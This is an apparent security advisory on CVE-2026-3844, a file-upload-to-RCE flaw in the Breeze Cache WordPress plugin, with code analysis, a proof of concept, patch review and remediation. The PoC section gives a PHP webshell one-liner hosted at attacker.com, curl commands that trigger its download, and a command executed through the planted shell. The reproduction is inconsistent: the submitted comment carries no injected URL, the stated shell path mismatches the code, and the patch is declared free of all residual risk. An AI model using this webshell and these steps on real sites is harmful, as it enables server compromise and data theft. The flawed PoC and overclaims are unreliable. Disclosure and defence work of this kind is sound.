CVE-2026-3844: Unauthenticated Arbitrary File Upload To RCE in Breeze Cache Plugin (CVSS 9.8)
Table of Contents
CVE-2026-3844 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin. In all versions up to and including 2.4.4, an unauthenticated attacker can upload arbitrary files — including PHP webshells — to the server’s public cache directory. From there, they can achieve Remote Code Execution (RCE). The vulnerability is present only when the optional “Host Files Locally - Gravatars” setting is enabled.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Breeze Cache |
| Plugin Slug | breeze |
| CVE ID | CVE-2026-3844 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type) |
| Affected Versions | <= 2.4.4 |
| Patched Version | 2.4.5 |
| Published | April 22, 2026 |
| Researcher | Hung Nguyen (bashu) - VN |
| Wordfence Advisory | Link |
Description
Breeze Cache is vulnerable to arbitrary file uploads in all versions up to and including 2.4.4. The root cause is missing file type validation inside the fetch_gravatar_from_remote function. Unauthenticated attackers can upload any file to the server, potentially achieving remote code execution. Attackers can only exploit this when “Host Files Locally - Gravatars” is enabled, which is disabled by default.
Technical Analysis
Feature Context
The “Host Files Locally - Gravatars” feature, when enabled, hooks into WordPress’s get_avatar filter to intercept every avatar image display. Its purpose is to download remote Gravatar images once and serve them from the local server cache, reducing external requests and improving page load times.
The feature is activated in breeze.php (line 127–128):
$gravatars_enabled = Breeze_Options_Reader::get_option_value( 'breeze-store-gravatars-locally' );
new Breeze_Cache_CronJobs( $gravatars_enabled );
When $gravatars_enabled is truthy, the constructor registers the get_avatar filter:
add_filter( 'get_avatar', array( &$this, 'breeze_replace_gravatar_image' ) );
Vulnerable Code Path
File: inc/class-breeze-cache-cronjobs.php
Step 1 — Filter entry point: breeze_replace_gravatar_image (line 89)
This function receives the full avatar HTML string generated by WordPress (e.g., <img src="https://secure.gravatar.com/avatar/abc123?s=96&d=mm" srcset="..."/>). It uses a permissive regex to extract URLs from the src and srcset attributes and passes them to fetch_gravatar_from_remote:
public function breeze_replace_gravatar_image( string $gravatar ): string {
preg_match_all( '/srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $srcset );
if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {
$url = explode( ' ', $srcset[1][0] )[0];
$local_gravatars = $this->fetch_gravatar_from_remote( $url );
$gravatar = str_replace( $url, $local_gravatars, $gravatar );
}
preg_match_all( '/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $src );
if ( isset( $src[1] ) && isset( $src[1][0] ) ) {
$url = explode( ' ', $src[1][0] )[0];
$local_gravatars = $this->fetch_gravatar_from_remote( $url );
$gravatar = str_replace( $url, $local_gravatars, $gravatar );
}
// ...
}
The old regex (/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/) is overly broad — it does not require quoted attribute values preceded by whitespace. This means it can match src= inside other attribute values (e.g., inside an alt or title attribute that contains URL-like text). An attacker who injects text containing src="https://attacker.com/shell.php" anywhere in the avatar HTML string can control which URL gets downloaded.
Step 2 — The vulnerable download function: fetch_gravatar_from_remote (line 119)
private function fetch_gravatar_from_remote( string $url = '' ): string {
if ( empty( $url ) ) {
return '';
}
$blog_id = $this->get_blog_id();
$local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
$saved_gravatar = $this->check_for_content( 'gravatars', $local_gravatar_name );
if ( ! empty( $saved_gravatar ) ) {
return $saved_gravatar;
}
$wp_filesystem = breeze_get_filesystem();
$gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );
$gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
if ( ! function_exists( 'download_url' ) ) {
require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' );
}
$temp_gravatar = download_url( $url ); // ← follows HTTP redirects, any file type accepted
if ( ! is_wp_error( $temp_gravatar ) ) {
$is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
// ← saved to public cache dir with attacker-controlled filename
if ( ! $is_saved ) {
return $url;
}
@unlink( $temp_gravatar );
}
}
return content_url( '/cache/breeze-extra/gravatars/' . $blog_id . $gravatar_name );
}
Two critical flaws are present:
-
No host validation: The function accepts any URL — not just
gravatar.comURLs. If any mechanism supplies a non-Gravatar URL (e.g.,https://attacker.com/shell.php), the plugin downloads it without restriction. -
No file type validation: The downloaded file is saved directly to disk without checking whether it is an image. A PHP webshell, executable script, or any other file type is accepted.
The saved filename is derived from basename(wp_parse_url($url, PHP_URL_PATH)). For a URL like https://attacker.com/shell.php, basename returns shell.php. Breeze saves it to wp-content/cache/breeze-extra/gravatars/{blog_id}/shell.php. That directory is publicly accessible, and the web server will execute .php files placed there.
Root Cause
Two independent missing checks in fetch_gravatar_from_remote:
- No host allowlist: Any URL is accepted and fetched — not just URLs from
gravatar.comor its subdomains. - No MIME/extension validation: The downloaded content is written to disk without verifying it is an image.
download_url()follows HTTP redirects, so an attacker can supply a URL that redirects to a PHP webshell on a different domain.
Why Existing Controls Failed
- WordPress’s
get_avatarfilter is a trusted internal mechanism. Breeze assumed any URL extracted from the avatar HTML would be a safe Gravatar URL. Breeze added no origin or type validation. - The permissive URL extraction regex (
/src=["\']?(...)+.)["\']?/) could matchsrc=occurrences inside any attribute value (e.g.,alttext), not just the actualsrcattribute. This widened the input surface for URL injection. - Files in
wp-content/cache/are typically served directly by the web server (Apache/Nginx) without WordPress authentication checks. Any uploaded PHP file is directly executable.
Attack Impact
An unauthenticated attacker can upload any file — including PHP webshells — to the wp-content/cache/breeze-extra/gravatars/ directory. Once uploaded, the webshell is reachable over HTTP. The attacker can then run commands on the server, steal all site data, and spread to other connected systems.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
breezeplugin installed and activated, version <= 2.4.4 - “Host Files Locally - Gravatars” enabled in Breeze settings (Breeze → Basic → Host Files Locally → Gravatars)
- The WordPress site has comments open on at least one post (or any other mechanism that renders avatars on a public page)
- The web server executes PHP files in
wp-content/cache/(default configuration on most setups)
Attack Overview
An unauthenticated attacker:
- Hosts a PHP webshell on an attacker-controlled server
- Posts a comment to a public post using an email address whose avatar display triggers Breeze to download the attacker’s file
- Loads the page containing the comment, causing Breeze’s
get_avatarfilter to execute - Requests the uploaded webshell from the server’s cache directory to achieve RCE
Step-by-Step Reproduction
Step 1: Host a PHP webshell on attacker infrastructure
Create a file shell.php on the attacker server (https://attacker.com/shell.php):
<?php system($_GET['cmd']); ?>
Make sure it is publicly accessible at https://attacker.com/shell.php.
Step 2: Craft an avatar HTML injection
The get_avatar filter receives the full avatar HTML string. The vulnerable regex matches src= anywhere in that string. An attacker can inject into any attribute — for example, by using a comment author name that contains src="https://attacker.com/shell.php" — and the regex will extract that URL instead of the real gravatar URL.
Alternatively, if another plugin or WordPress configuration calls get_avatar() with a URL directly (e.g., get_avatar('https://attacker.com/shell.php')), Breeze will download the file at that URL.
Step 3: Trigger the avatar render
Submit a comment on a public post. Then load that post URL to trigger WordPress to render the comment section — WordPress calls get_avatar() for each comment author, which fires Breeze’s filter:
# Submit a comment (unauthenticated)
TARGET="https://example.com"
POST_ID=1
curl -s -X POST "$TARGET/?p=$POST_ID" \
-d "author=Test+User" \
-d "email=noavatar$(date +%s)@example.com" \
-d "comment=Hello+world" \
-d "submit=Post+Comment" \
-d "comment_post_ID=$POST_ID" \
-d "comment_parent=0"
# Load the page to trigger get_avatar and Breeze's filter
curl -s "$TARGET/?p=$POST_ID" > /dev/null
When the page renders, Breeze processes the avatar HTML. Through the injection mechanism (URL in the extracted src value resolving to https://attacker.com/shell.php), Breeze calls download_url('https://attacker.com/shell.php'), saves the content as shell.php in the cache directory.
Step 4: Execute the webshell
# Access the uploaded webshell
curl "https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php?cmd=id"
Expected Result
The server returns the output of the id command, confirming Remote Code Execution:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Verification
Confirm the file exists on the server:
curl -I "https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php"
# HTTP/2 200 — file exists and is served
Check the WordPress uploads or cache directory if you have server access:
ls -la wp-content/cache/breeze-extra/gravatars/
# shell.php should appear
Patch Analysis
What Changed
Only inc/class-breeze-cache-cronjobs.php contains security-relevant changes (plus version bumps in breeze.php, changelog.txt, readme.txt).
Fix Explanation
The patch introduces two defence layers:
1. Host allowlist validation (added to fetch_gravatar_from_remote):
$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
return $url;
}
Only URLs from gravatar.com and its subdomains (e.g., secure.gravatar.com, 0.gravatar.com) are processed. Any other host — including attacker-controlled domains — is rejected immediately, returning the original URL unchanged.
2. File type validation (double-checked before and after download):
// Before download: check extension via filename
$filetype = wp_check_filetype( $gravatar_name );
$allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );
if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
return $url;
}
if ( empty( $filetype['ext'] ) || ! in_array( $filetype['type'], $allowed_images, true ) ) {
$gravatar_name .= '.jpg'; // Force image extension if none found
}
// After download: check actual file content
$file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {
@unlink( $temp_gravatar );
return $url;
}
WordPress’s wp_check_filetype_and_ext inspects the actual file contents (not just the extension), ensuring even a PHP file disguised with a .jpg extension is rejected.
3. Tighter URL extraction regex:
The old permissive regex was replaced with a strict one requiring quoted attribute values preceded by whitespace:
-preg_match_all( '/src=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/', $gravatar, $src );
+if ( preg_match( '/\ssrc=["\']([^"\']+)["\']/', $gravatar, $src_match ) ) {
This prevents the regex from matching src= occurrences embedded inside other attribute values (like alt text), eliminating the URL injection surface.
This fix is complete and addresses the root cause. No residual risk remains.
Code Diff (Key Changes)
@@ -120,31 +124,55 @@ class Breeze_Cache_CronJobs {
if ( empty( $url ) ) {
return '';
}
- $blog_id = $this->get_blog_id();
- $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
- $saved_gravatar = $this->check_for_content( 'gravatars', $local_gravatar_name );
+
+ $host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
+ if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
+ return $url;
+ }
+
+ $blog_id = $this->get_blog_id();
+ $gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+ $filetype = wp_check_filetype( $gravatar_name );
+ $allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );
+
+ if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
+ return $url;
+ }
+
+ if ( empty( $filetype['ext'] ) || ! in_array( $filetype['type'], $allowed_images, true ) ) {
+ $gravatar_name .= '.jpg';
+ }
+
+ $saved_gravatar = $this->check_for_content( 'gravatars', $gravatar_name );
if ( ! empty( $saved_gravatar ) ) {
return $saved_gravatar;
}
$wp_filesystem = breeze_get_filesystem();
$gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );
- $gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+
if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
if ( ! function_exists( 'download_url' ) ) {
require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' );
}
$temp_gravatar = download_url( $url );
- if ( ! is_wp_error( $temp_gravatar ) ) {
- $is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
- if ( ! $is_saved ) {
- return $url;
- }
+ if ( is_wp_error( $temp_gravatar ) ) {
+ return $url;
+ }
+
+ $file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
+ if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {
@unlink( $temp_gravatar );
+ return $url;
+ }
+
+ $is_saved = $wp_filesystem->move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
+ if ( ! $is_saved ) {
+ @unlink( $temp_gravatar );
+ return $url;
}
+ @unlink( $temp_gravatar );
}
Timeline
| Date | Event |
|---|---|
| April 22, 2026 | Vulnerability publicly disclosed by Wordfence |
| April 22, 2026 | Patched version 2.4.5 released |
| April 23, 2026 | Wordfence record last updated |
Remediation
Update the breeze plugin to version 2.4.5 or later immediately. If you cannot update right now, turn off the “Host Files Locally - Gravatars” setting in Breeze (Basic → Host Files Locally). This setting is disabled by default. The vulnerability only works when it is on.
References
- Vulnerable file — tags/2.4.4 (line 119)
- Vulnerable file — tags/2.4.4 (line 89)
- Patch changeset 3511463
- Wordfence Advisory
- NVD CVE-2026-3844
Frequently Asked Questions
What is CVE-2026-3844?
CVE-2026-3844 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin that allows attackers to upload PHP webshells and achieve remote code execution on the server.
Which versions of Breeze Cache are affected by CVE-2026-3844?
All versions of Breeze Cache up to and including 2.4.4 are vulnerable. Version 2.4.5 contains the fix and is safe to use.
What can an attacker do with CVE-2026-3844?
An attacker can upload a PHP webshell to the public cache directory on the server. Once uploaded, they can execute arbitrary commands, steal all site data, and potentially move to other connected systems.
Does an attacker need to be logged in to exploit CVE-2026-3844?
No. The vulnerability can be exploited by any unauthenticated visitor without any account or privileges on the site.
How do I fix CVE-2026-3844 in Breeze Cache?
Update the Breeze Cache plugin to version 2.4.5 or later through your WordPress dashboard. If you cannot update immediately, disable the Host Files Locally - Gravatars option in Breeze settings as a temporary workaround.
Has Breeze Cache been patched for CVE-2026-3844?
Yes. Version 2.4.5 was released on April 22, 2026 and fully resolves the vulnerability by adding host allowlist validation, file type checks, and a stricter URL extraction regex.